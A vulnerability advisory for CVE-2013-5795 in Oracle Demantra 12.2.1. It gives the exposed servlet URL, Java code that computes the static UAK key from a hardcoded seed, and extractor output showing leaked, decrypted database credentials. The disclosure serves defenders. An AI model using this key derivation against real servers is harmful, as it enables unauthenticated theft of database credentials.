Oracle Demantra 12.2.1 Database Credential Leak

`Vulnerability title: Database Credentials Leak in Oracle Demantra  
CVE: CVE-2013-5795  
Vendor: Oracle  
Product: Demantra  
Affected version: 12.2.1  
Fixed version: 12.2.3  
Reported by: Oliver Gruskovnjak  
  
Details:  
  
Oracle Demantra version 12.2.1 has a backend function that allows anyone  
to retrieve the database instance name and the corresponding credentials.  
  
Exploit:  
  
The target URL is:  
  
http://target.com:8080/demantra/ServerDetailsServlet?UAK=  
  
Now the UAK key is calculated statically:  
  
String encryptedPassword = new String(CryptographicService.encodeHashStringHex("er6Us8wB", "SHA-256"));  
  
StringBuffer tmp = new StringBuffer("sge");  
tmp.append(0);  
tmp.append(encryptedPassword);  
  
uak = new String(CryptographicService.encodeHashStringHex(tmp.toString(), "SHA-256"));  
  
From that information it is possible to create a simple extractor:  
  
pixel:demantra user$ java getUAK  
-=[Oracle Demantra Database Details Retriever ]=-  
  
[+] UAK Key is: 406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1  
[+] Retrieved the following encrypted string:  
4,21,3,4,111,36,53,35,36,111,52,53,61,49,62,36,34,49,111,63,34,51,111,97,  
[+] Decrypted string is:  
TEST?test?demantra?orc?1  
  
Together with the authentication bypass this can be exploited unauthenticated as well.  
  
  
  
Further details at:  
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5795/  
  
  
Copyright:  
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`